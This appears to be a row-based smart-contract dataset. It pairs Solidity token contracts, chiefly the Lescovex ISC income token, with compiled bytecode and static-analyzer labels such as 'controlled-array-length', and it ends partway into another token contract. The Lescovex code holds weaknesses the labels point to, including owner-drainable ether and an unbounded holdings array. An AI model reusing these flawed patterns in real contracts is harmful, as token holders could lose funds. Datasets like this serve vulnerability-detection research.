0a900460ff161515145b801561271a575060001515600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156127645750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156127ae5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156127b957600080fd5b6127c285612b60565b15612ad857836127d133611733565b10156127dc57600080fd5b6127ee6127e833611733565b85612aee565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284361283d86611733565b85612b07565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156128d557805182526020820191506020810190506020830392506128b0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156129b657808201518184015260208101905061299b565b50505050905090810190601f1680156129e35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515612a0757fe5b826040518082805190602001908083835b602083101515612a3d5780518252602082019150602081019050602083039250612a18565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a460019050612ae6565b612ae3858585612e2f565b90505b949350505050565b6000828211151515612afc57fe5b818303905092915050565b6000808284019050838110151515612b1b57fe5b8091505092915050565b6000806000841415612b3a5760009150612b59565b8284029050828482811515612b4b57fe5b04141515612b5557fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083612b8033611733565b1015612b8b57600080fd5b612b9d612b9733611733565b85612aee565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bf2612bec86611733565b85612b07565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612cfa578082015181840152602081019050612cdf565b50505050905090810190601f168015612d275780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515612d4757600080fd5b6102c65a03f11515612d5857600080fd5b505050826040518082805190602001908083835b602083101515612d915780518252602082019150602081019050602083039250612d6c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a460019150509392505050565b600082612e3b33611733565b1015612e4657600080fd5b612e58612e5233611733565b84612aee565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ead612ea785611733565b84612b07565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612f265780518252602082019150602081019050602083039250612f01565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a72305820ce6791d1ef25ad1cd31a4d8ca3dd89b1f5e71237865d5cdf67bc9ea01f5f32a30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,525 |
0xdc33d6c4997ed9c6f07644eca9c0ba72a6882052
|
pragma solidity ^0.4.24;
/*
Copyright 2018, Vicent Nos, Enrique Santos & Mireia Puig
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//////////////////////////////////////////////////////////////
// //
// Lescovex Equity ERC20 //
// //
//////////////////////////////////////////////////////////////
contract LescovexERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => timeHold) holded;
struct timeHold{
uint256[] amount;
uint256[] time;
uint256 length;
}
/* Public variables for the ERC20 token */
string public constant standard = "ERC20 Lescovex ISC Income Smart Contract";
uint8 public constant decimals = 8; // hardcoded to be a constant
uint256 public holdMax = 100;
uint256 public totalSupply;
uint256 public holdTime;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function holdedOf(address _owner) public view returns (uint256) {
// Returns the valid holded amount of _owner (see function hold),
// where valid means that the amount is holded more than requiredTime
uint256 requiredTime = block.timestamp - holdTime;
// Check of the initial values for the search loop.
uint256 iValid = 0; // low index in test range
uint256 iNotValid = holded[_owner].length; // high index in test range
if (iNotValid == 0 // empty array of holds
|| holded[_owner].time[iValid] >= requiredTime) { // not any valid holds
return 0;
}
// Binary search of the highest index with a valid hold time
uint256 i = iNotValid / 2; // index of pivot element to test
while (i > iValid) { // while there is a higher one valid
if (holded[_owner].time[i] < requiredTime) {
iValid = i; // valid hold
} else {
iNotValid = i; // not valid hold
}
i = (iNotValid + iValid) / 2;
}
return holded[_owner].amount[iValid];
}
function hold(address _to, uint256 _value) internal {
assert(holded[_to].length < holdMax);
// holded[_owner].amount[] is the accumulated sum of holded amounts,
// sorted from oldest to newest.
uint256 len = holded[_to].length;
uint256 accumulatedValue = (len == 0 ) ?
_value :
_value + holded[_to].amount[len - 1];
// records the accumulated holded amount
holded[_to].amount.push(accumulatedValue);
holded[_to].time.push(block.timestamp);
holded[_to].length++;
}
function setHoldTime(uint256 _value) external onlyOwner{
holdTime = _value;
}
function setHoldMax(uint256 _value) external onlyOwner{
holdMax = _value;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
delete holded[msg.sender];
hold(msg.sender,balances[msg.sender]);
hold(_to,_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
delete holded[_from];
hold(_from,balances[_from]);
hold(_to,_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ;
}
contract Lescovex_ISC is LescovexERC20 {
uint256 public contractBalance = 0;
//Declare logging events
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
address contractAddr = this;
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor (
uint256 initialSupply,
string contractName,
string tokenSymbol,
uint256 contractHoldTime,
address contractOwner
) public {
totalSupply = initialSupply; // Update total supply
name = contractName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
holdTime = contractHoldTime;
balances[contractOwner] = totalSupply;
}
function deposit() external payable onlyOwner returns(bool success) {
contractBalance = contractAddr.balance;
//executes event to reflect the changes
emit LogDeposit(msg.sender, msg.value);
return true;
}
function withdrawReward() external {
uint256 ethAmount = (holdedOf(msg.sender) * contractBalance) / totalSupply;
require(ethAmount > 0);
//executes event to register the changes
emit LogWithdrawal(msg.sender, ethAmount);
delete holded[msg.sender];
hold(msg.sender,balances[msg.sender]);
//send eth to owner address
msg.sender.transfer(ethAmount);
}
function withdraw(uint256 value) external onlyOwner {
//send eth to owner address
msg.sender.transfer(value);
//executes event to register the changes
emit LogWithdrawal(msg.sender, value);
}
}
|
0x608060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014e578063095ea7b3146101de578063097d51551461024357806318160ddd1461026e57806323b872dd1461029957806327e235e31461031e5780632e1a7d4d14610375578063313ce567146103a25780635a3b7e42146103d357806366188463146104635780636d278b29146104c857806370a08231146104f55780638b7afe2e1461054c5780638da5cb5b1461057757806395d89b41146105ce578063a9059cbb1461065e578063c885bc58146106c3578063cae9ca51146106da578063d0e30db014610785578063d73dd623146107a7578063dd62ed3e1461080c578063dea8905614610883578063e2a3382f146108ae578063f2fde38b14610905578063f945530114610948575b600080fd5b34801561015a57600080fd5b50610163610975565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a3578082015181840152602081019050610188565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b50610229600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a13565b604051808215151515815260200191505060405180910390f35b34801561024f57600080fd5b50610258610b05565b6040518082815260200191505060405180910390f35b34801561027a57600080fd5b50610283610b0b565b6040518082815260200191505060405180910390f35b3480156102a557600080fd5b50610304600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b11565b604051808215151515815260200191505060405180910390f35b34801561032a57600080fd5b5061035f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8d565b6040518082815260200191505060405180910390f35b34801561038157600080fd5b506103a060048036038101908080359060200190929190505050610fa5565b005b3480156103ae57600080fd5b506103b76110b5565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103df57600080fd5b506103e86110ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042857808201518184015260208101905061040d565b50505050905090810190601f1680156104555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561046f57600080fd5b506104ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111a565b604051808215151515815260200191505060405180910390f35b3480156104d457600080fd5b506104f3600480360381019080803590602001909291905050506113ab565b005b34801561050157600080fd5b50610536600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611410565b6040518082815260200191505060405180910390f35b34801561055857600080fd5b50610561611459565b6040518082815260200191505060405180910390f35b34801561058357600080fd5b5061058c61145f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105da57600080fd5b506105e3611484565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610623578082015181840152602081019050610608565b50505050905090810190601f1680156106505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066a57600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611522565b604051808215151515815260200191505060405180910390f35b3480156106cf57600080fd5b506106d8611803565b005b3480156106e657600080fd5b5061076b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611998565b604051808215151515815260200191505060405180910390f35b61078d611b1b565b604051808215151515815260200191505060405180910390f35b3480156107b357600080fd5b506107f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c2a565b604051808215151515815260200191505060405180910390f35b34801561081857600080fd5b5061086d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e26565b6040518082815260200191505060405180910390f35b34801561088f57600080fd5b50610898611ead565b6040518082815260200191505060405180910390f35b3480156108ba57600080fd5b506108ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611eb3565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b50610946600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612082565b005b34801561095457600080fd5b50610973600480360381019080803590602001909291905050506121d7565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a0b5780601f106109e057610100808354040283529160200191610a0b565b820191906000526020600020905b8154815290600101906020018083116109ee57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60055481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b4e57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b9c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c2757600080fd5b610c7982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008082016000610e1b91906124aa565b600182016000610e2b91906124aa565b60028201600090555050610e7e84600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612255565b610e888383612255565b610eda82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60016020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611046573d6000803e3d6000fd5b507fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e913382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b600881565b606060405190810160405280602881526020017f4552433230204c6573636f7665782049534320496e636f6d6520536d6172742081526020017f436f6e747261637400000000000000000000000000000000000000000000000081525081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561122b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112bf565b61123e838261223c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140657600080fd5b8060048190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561151a5780601f106114ef5761010080835404028352916020019161151a565b820191906000526020600020905b8154815290600101906020018083116114fd57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561155f57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115ad57600080fd5b6115ff82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461223c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600061169291906124aa565b6001820160006116a291906124aa565b600282016000905550506116f533600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612255565b6116ff8383612255565b61175182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600060055460095461181433611eb3565b0281151561181e57fe5b04905060008111151561183057600080fd5b7fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e913382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006118eb91906124aa565b6001820160006118fb91906124aa565b6002820160009055505061194e33600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612255565b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611994573d6000803e3d6000fd5b5050565b6000808490506119a88585610a13565b15611b12578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611aa2578082015181840152602081019050611a87565b50505050905090810190601f168015611acf5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611af157600080fd5b505af1158015611b05573d6000803e3d6000fd5b5050505060019150611b13565b5b509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7857600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316009819055507f1b851e1031ef35a238e6c67d0c7991162390df915f70eaf9098dbf0b175a61983334604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001905090565b6000611cbb82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60045481565b60008060008060006006544203935060009250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015491506000821480611f73575083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010184815481101515611f6557fe5b906000526020600020015410155b15611f815760009450612079565b600282811515611f8d57fe5b0490505b8281111561201c5783600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010182815481101515611fe957fe5b9060005260206000200154101561200257809250612006565b8091505b600283830181151561201457fe5b049050611f91565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018381548110151561206b57fe5b906000526020600020015494505b50505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120dd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561211957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561223257600080fd5b8060068190555050565b600082821115151561224a57fe5b818303905092915050565b600080600454600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541015156122a757fe5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015491506000821461235857600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016001830381548110151561234657fe5b9060005260206000200154830161235a565b825b9050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819080600181540180825580915050906001820390600052602060002001600090919290919091505550600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101429080600181540180825580915050906001820390600052602060002001600090919290919091505550600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815480929190600101919050555050505050565b60008082840190508381101515156124a057fe5b8091505092915050565b50805460008255906000526020600020908101906124c891906124cb565b50565b6124ed91905b808211156124e95760008160009055506001016124d1565b5090565b905600a165627a7a7230582023b7a6fc33b59b85584bd4d92dcc948dcec4525df5dc2c88c87e05d1ab3a7b640029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,526 |
0x37f44c433bea2799775521cf9e69de8e9ad9dd73
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
https://cryptomixercapital.com/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
